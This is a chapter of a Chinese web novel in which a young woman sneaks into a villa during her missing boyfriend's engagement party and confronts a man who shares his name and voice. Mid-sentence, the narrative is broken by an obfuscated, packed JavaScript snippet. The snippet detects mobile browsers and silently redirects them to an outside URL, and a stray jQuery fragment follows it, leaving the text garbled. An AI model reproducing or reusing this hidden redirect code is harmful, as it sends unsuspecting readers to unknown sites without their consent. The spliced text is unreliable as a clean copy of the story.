月被夜轻轻笼住，天暗得快要塌下来。
山顶唯一的光亮来自唐家别墅。
别墅后院有两个人抬着一个麻袋往垃圾处理区边走边窃窃私语。
“今天是少爷和姚家小姐的订婚宴，快点处理完这堆垃圾，回去还能去厨房蹭点剩下的多余酒菜。”
“说来少爷突然消失好几个月，这次回来居然同意和姚家小姐结婚吗？”
另一个人立刻捂紧这个人的嘴:“嘘，这种话别再提了。”
声音渐行渐远。
巨大的垃圾处理箱里，堆积的物品突然动了动，一只手顺着物与物之间的缝隙，挣扎着拨开最上层垃圾，直挺挺立在中央。
像极了丧尸异变的场面。
刚刚两人扔下的麻袋因为这个动作“咕噜噜”滚下来，与地面碰撞出脆响。
姜沉艰难从一堆垃圾里钻出来。
她随意拍拍自己身上，一股难以言喻的气味弥漫开来，扑入鼻腔。
姜沉下意识低头嗅了下。
她庆幸自己选了个好区域，还好不在飘散酸腐味的厨余垃圾区。
她注视着别墅。
唐家少爷——唐季。
她的男朋友、救命恩人。
什么都没留下，莫名失踪一周后，今天要和另一个人订婚。
而她是从电视上得到的消息，进不去他们订婚的会场，只能躲在他们订婚地方的垃圾处理区，找机会偷溜进去。
姜沉无意破坏。
她从电视上听见他在记者下采访的声音。
就认出是他。
她想问一句为什么？
很傻的一个问题。
却是她鼓起勇气今晚钻进垃圾箱的借口。
姜沉昨天来问过，没见到唐季就被门口保镖轰走。
但也不全然没有收获。
她知道了唐季住别墅四楼，也知晓唐家保镖其实也就五六个，安保大多都依靠监控设备自动检测外来入侵，像是为宣传唐氏AI的能力。
晚上她又来一次，专门踩点。
发现垃圾区域专门为他家的宠物开发过一个隐秘的狗洞。
是的，她是爬狗洞进来的。
姜沉边想着计划如何顺利实施，边把刚刚滚落的垃圾重新放回去。
很重，花费她好些力气。
放好转身。
恰好对上一双满是戏谑的眼睛。
姜沉下意识往后踉跄一步。
来人身形修长，昏黄的路灯把对方的影子拉得很长，脸在光影下模糊不清。
他双手抱胸，挑眉抬了抬下巴:“你是谁？”
“我...是谁？”姜沉认出来对方的声音，努力想像过去一样朝他靠近一点，但身体似乎很排斥，脚步被钉在原地。
她的声音颤动:“唐季，你不知道我是谁？”
唐季眯着眼，似乎真的在认真回忆，尾音上扬。
“想起来了，昨天你来找过我，你喜欢我？”
他看起来什么都不记得。
失忆了？
还是，他在演？
质问声卡在喉口不上不下。
她太想念他，太想念他的的声音了。
姜沉默默握紧拳头。
她不回答，直接转移话题:“你是怎么知道我进来的？”
唐季指尖朝狗洞旁边的草丛点点，那里隐隐约约透着红光。
她大概猜到那是一个很小的摄像头。
如果不仔细看完全没办法发现，人在高度紧张的情况下更难察觉。
他故意放她进来的。
目的是什么？
昨天不是他让人赶出去的她吗？
“我家的别墅不可能有那么明显的漏洞，老头子看得太紧，把我一切通讯电子设备都没收了，才拜托管家专门给你漏了个破绽，昨天下午特意让人给你挖的。”
姜沉瞳孔不断收缩，消化这段话。
她的行动一切尽在他眼底，甚至是他暗示的。
“不过多亏这位小姐不负众望，为了我愿意钻狗洞，我还真是有点感动。”
唐季尾音微微上扬，越说，呼吸越近。
动作暧昧，直逼姜沉，湿润的气体扑洒的耳廓上。
两人影子交缠重叠，一时分不清是谁的影子才是被吞没那个。
“但我还真没有印象，我什么时候认识的这位小姐，麻烦帮我回忆一下？”
唐季语气温柔，手已经用力攥住她的手腕。
“算了不重要，还好昨天你来了。”
姜沉用一种讶异的眼光看着他紧抓的手。
她十分确定，他不是唐季。
唐季从来不会如此粗暴的抓住她的手，更不会拐弯抹角算计她达到自己目的。
她的男友一直是一个温柔体贴的人。
身上更有一股让她难以抑制，产生冲动的...香味。
而面前这个人。
没有。
那她的男朋友在哪里？
她的耳朵很灵，几乎不会辨认错人。
同名、同姓、同声，没道理不是一个人。
姜沉觉得面前人演得可能性更大。
“别露出这种不可思议的表情。”
他几乎是贴着她的耳朵。
姜沉挣不开他的手，无奈任由他另一只手轻轻掐住她的下颚，像是觉得手感不错，又往前移动半分，捏了捏她的脸。
“也别动。”
“你想要钱？车？还是房子？又或是别的什么？我都可以满足你，只要你乖乖配合。”
这话实在没头没尾，显得奇怪极了。
她余光朝旁边瞥去，一个人站在走廊，背佝偻着，望着他俩，不知驻足多久。
他在利用她。
“唐季...”在哪？
姜沉语气焦急，笃定这个人和他的男友脱不了干系。
她目前唯一的线索只有他。
甚至她猜测假如两人有如此相像的声音。
唐季还有个兄弟？或许双重人格？犹未可知。
还未说完，就被迫断裂在口中。
“小点声，别把其他人招来。那是我家老头子，早知道他会特意跟过来，别露馅了。”
唐季朝旁边轻轻歪头，黏腻滚烫的眼神在姜沉面部流淌、蔓延。
温热的大拇指指腹覆盖在她的唇上，打着转反复摩挲起来。
最后停在唇部中央，像是刻意挑逗般，不紧不慢地按压一下。
“他非要我和不认识的人订婚，我说我有喜欢的人也不信。只能出此下策，虽然他知道我也没蠢到真的在大庭广众之下让姚家难堪，但他一向最在乎他的面子。就在这里，我们三个人，就足够了。”
说到此处。
他刻意把姜沉的唇往下扯了一下，语气竟然漫出诡异的嗔怪感:“不过你怎么来得这么晚，不是喜欢我吗？差一点订婚就要开始了，幸好现在也不迟。”
作势，他就要俯下身子，吻下去。
哦。
听唐季的计划一切都合乎逻辑。
看起来是昨晚不经意看她这个倒霉蛋主动撞上来，恰好就对上他破坏订婚的计划。
姜沉随着唐季动作的加深靠近，瞳孔骤缩。
毫不留情地一脚狠狠碾在他的脚背。
唐季闷哼，动作没停，压着嗓子咬牙切齿:“我不占你便宜，我吻自己指甲，让老头子看见就行，借位懂吗？”
姜沉瞪着他，缓慢摇头。
口型做着:“你再近一下，我不管会不会招来其他人，都要尖叫了。”
她还没搞清楚状况，不想就这么不清不楚就和对方接吻。
哪怕对方真的大概率可能是她的男朋友，只是可能在演。
唐季不管不顾依旧压上来。
姜沉偏头躲开，被他死死按住。
下一瞬。
电流的“刺啦——”声响起。
整个别墅断电，宾客们尖锐的叫喊维持短暂几秒，彻底融入夜色。
姜沉感觉手腕上的桎梏一松。
刚刚还需要仰头才能看见的男人，立刻蹲了下来，手慌乱自己衣兜和裤兜上来回摸着，大概是在找手机，但应该没带出来。
跳闸了？
这么大个别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977861|177888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墅也跳闸吗？
走廊里的人影不见踪影，大抵是去叫人拉电闸。
姜沉想着，忽然意识到唐季放开了她，
她脚步不经意朝旁边挪挪，试图和唐季保持“社交安全距离”。
光顾着看他单方面“表演”，她还有一肚子问题憋在心口。
她用力往前迈出一步。
纹丝不动。
她低头，一脸好笑：“能不能别闹了。”
唐季死死扯着她的裤脚。
姜沉抬脚，准备再挪。
唐季立马抱住了她整个小腿，用整个人的体重压制住她。
他声音发抖，甚至染上了一丝不易察觉的哭腔:“别走，别再让我一个人。”
唐季有黑暗恐惧？
这就更加奇怪。
他从前带她回家的那条路，路灯灯泡已经坏了两三年没人管。
还是他晚上去换的。
姜沉想到曾经在霸总狗血小说里看过的剧情，成年人对黑暗反应如此剧烈，与有灯光时性格简直判若两人，多半儿时都遭受过巨大创伤。
好巧不巧，这个人也算个霸总。
都对上了。
而姜沉的男朋友。
在和她恋爱期间。
正常的不像一个人类。
他绝不是她的男友。
如此相似的声音在她耳廓变调，只剩聒噪。
姜沉不再动。
眼神里仅剩的温柔褪去，被冷漠取代，满脸木然。
她垂眸审视唐季现在的恐惧。
还有什么是比现在更好的时机呢。
高强度精神紧绷时。
人类最脆弱，最毫无防备，最容易说出自己的秘密。
姜沉慢慢蹲下来，平视唐季。
“我叫什么？”
“回答我。”
她不愿再用“唐季”来称呼面前的男人。
一声惊雷随之落下。
唐季脑子一片空白:“...我不知道。”
他眼底的脆弱做不得假。
但丝毫也没另姜沉柔和半分。
“你有兄弟吗？”
他摇头。
“你有精神类疾病？”
唐季呼吸急促，额角冒出细密的汗，把姜沉的裤脚都捏皱了。
“我...怕黑。”
姜沉继续追问。
她必须先证实，面前这个男人从身体到灵魂完全都不是她的男友。
“没有其他精神类疾病，比如人格分裂之类的，只是怕黑？”
“只是怕黑。”
姜沉朝别墅快速望了一眼，担心电力快要恢复。
不能这样继续拖下去了。
开始瞎编忽悠。
她站起来，居高临下。
努力保持没有起伏的语调。
“你要知道，你如果骗我的话，我什么都做得出来，就像今晚一样。你只发现了我是吗？并没有发现我的同伙。你也不想再经历这种，半夜突然断电的事情吧？”
她面不改色编造了一个不存在的“同伙”。
接着半猜测半诱导。
“没有生机，没有声音，没有光亮，只剩下无尽漫长、忘不掉尽头的黑暗...没人会在乎你的哭喊和恐惧。”
“我没说谎。”
唐季单手捂住耳朵，眼神湿漉漉的，流露出的情绪不似作假。
那只有最后一点需要确认了。
“你不是唐季？唐季是你的替身，或者你是他的替身，你取代了他，更可能的是...”姜沉不愿往最差的方向思考，“你杀了他？”
唐季不断晃头，用脸蹭着她的小腿，不再开口。
姜沉皱眉戳戳他，逐渐急躁:“嗯？说啊？是吗？”
“咔哒——”
倒是动作迅速。
突如其来的光亮让姜沉不自觉眯眼，她抬手遮住眼睛。
与此同时，她口袋里的手机屏幕突然亮起。
一条来自陌生号码的消息弹出。
内容是她最熟悉的说话方式。
【小沉，刚刚没有受伤吧？】